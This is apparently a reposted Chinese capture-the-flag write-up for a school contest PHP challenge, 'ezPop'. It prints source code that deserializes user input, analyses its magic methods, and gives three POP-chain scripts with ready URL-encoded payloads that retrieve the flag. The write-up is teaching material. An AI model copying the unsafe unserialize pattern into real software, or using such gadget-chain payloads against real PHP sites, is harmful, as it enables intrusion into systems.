[校赛] - Web - ezPop
Posted 1ta-chi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[校赛] - Web - ezPop相关的知识,希望对你有一定的参考价值。
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Z
public $key;
public function __wakeup()
$this -> key = 'nothing';
public function __destruct()
if($this -> key == 'xatu')
include('flag.php');
echo $flag;
else
die("NO!");
class A
public $name;
public $b;
public function __construct($a,$b)
$this -> name = $a;
$this -> b = $b;
public function hello($a)
echo "hello!".$a;
public function __destruct()
$this -> b -> hello($this -> name);
class B
public $obj;
public function __construct($obj)
$this -> obj = $obj;
public function hello($name)
$this -> obj -> $name();
public function __invoke()
echo "Oh,You touch me but useless!";
class C
public $test;
public function __construct($test)
$this -> test = $test;
public function __call($name,$arg)
echo 'Got :'.$this -> test;
class D
public $name;
public function __construct($name)
$this -> name = $name;
public function hello($name)
echo "Welcome to CTF ,".$name;
public function __toString()
if(isset($this -> name) && $this -> name == "xatu")
include('flag.php');
echo $flag;
return "You Win!";
@unserialize($_GET['pop']);
分析
class Z
public $key;
public function __wakeup()
$this -> key = 'nothing';
public function __destruct()
if($this -> key == 'xatu')
include('flag.php');
echo $flag;
else
die("NO!");
- 一个共有属性
$key
__wakeup()
在反序列化前触发,将'nothing'
赋给$key
__destruct()
在对象被销毁时触发,此时如果$key == xatu
的时候,包含并运行flag.php
,输出$flag
class A
public $name;
public $b;
public function __construct($a,$b)
$this -> name = $a;
$this -> b = $b;
public function hello($a)
echo "hello!".$a;
public function __destruct()
$this -> b -> hello($this -> name);
- 两个共有属性:
$name
、$b
__construct()
在对象实体化时触发,接收传参分别赋给$name
、$b
hello()
将$a
当作字符串输出(可以触发D
对象的__toString()
方法)__destruct()
在对象被销毁时触发,调用b
对象的hello()
方法并将该对象的name
传过去
class B
public $obj;
public function __construct($obj)
$this -> obj = $obj;
public function hello($name)
$this -> obj -> $name();
public function __invoke()
echo "Oh,You touch me but useless!";
- 一个共有属性
$obj
__construct()
在对象被实体化时触发,将传过来的赋给$obj
hello()
调用obj
对象的$name()
,可以触发B
类的__invoke()
方法__invoke()
在对象被当作函数使用时触发,输出一句话,这里需要绕过
class C
public $test;
public function __construct($test)
$this -> test = $test;
public function __call($name,$arg)
echo 'Got :'.$this -> test;
- 一个共有属性
$test
__construct()
在对象被实体化时触发,将值赋给$test
__call()
当调用该类无法访问的方法时被触发,将该类的test
当作字符串输出,可以触发D
类的__toString()
方法
class D
public $name;
public function __construct($name)
$this -> name = $name;
public function hello($name)
echo "Welcome to CTF ,".$name;
public function __toString()
if(isset($this -> name) && $this -> name == "xatu")
include('flag.php');
echo $flag;
return "You Win!";
- 一个共有属性
$name
__construct()
在对象被实体化时触发,将值赋给name
hello()
方法将name
当作字符串输出,可以触发该类的__toString()
方法__toString()
在对象被当作字符串使用时触发,它判断name
不为空且弱等于xatu
,包含并执行flag.php
,输出$falg
- 拿flag:
D
类中的name == "xatu"
,调用其__toString()
- 触发
__toString()
:A
类和D
类的hello()
方法,意味着这两个类中的属性可能为D
类的对象 - 调用
hello()
:A
类的__destruct()
方法调用b
的hello()
方法,意味着b
属性可能为A
类的对象或者D
类的对象,name
属性为D
类的对象
方法一、二:
方法三:
payload
- 用
D
类的hello
触发
<?php
class D
public $name = "xatu";
class A
public $name;
public $b;
public function __construct($a, $b)
$this -> name = $a;
$this -> b = $b;
$a1 = new D;
$a2 = new D;
$a = new A($a1, $a2);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D
- 用
A
类的hello
触发
<?php
class D
public $name = "xatu";
class A
public $name;
public $b;
public function __construct($a, $b)
$this -> name = $a;
$this -> b = $b;
$a1 = new D;
$a2 = new A(1, 1);
$a = new A($a1, $a2);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A1%3A%22b%22%3Bi%3A1%3B%7D%7D
- 用
B
、C
类触发
<?php
class D
public $name = "xatu";
class C
public $test;
public function __construct($c)
$this -> test = $c;
class B
public $obj;
public function __construct($b)
$this -> obj = $b;
class A
public $b;
//这里的字符串是啥都行
//为的是触发B类的__call()
public $name = "fuc";
public function __construct($a)
$this -> b = $a;
$c = new D;
$b = new C($c);
$a1 = new B($b);
$a = new A($a1);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D%7Ds%3A4%3A%22name%22%3Bs%3A3%3A%22fuc%22%3B%7D
最后,给你们看一眼flag,嘻嘻😁
以上是关于[校赛] - Web - ezPop的主要内容,如果未能解决你的问题,请参考以下文章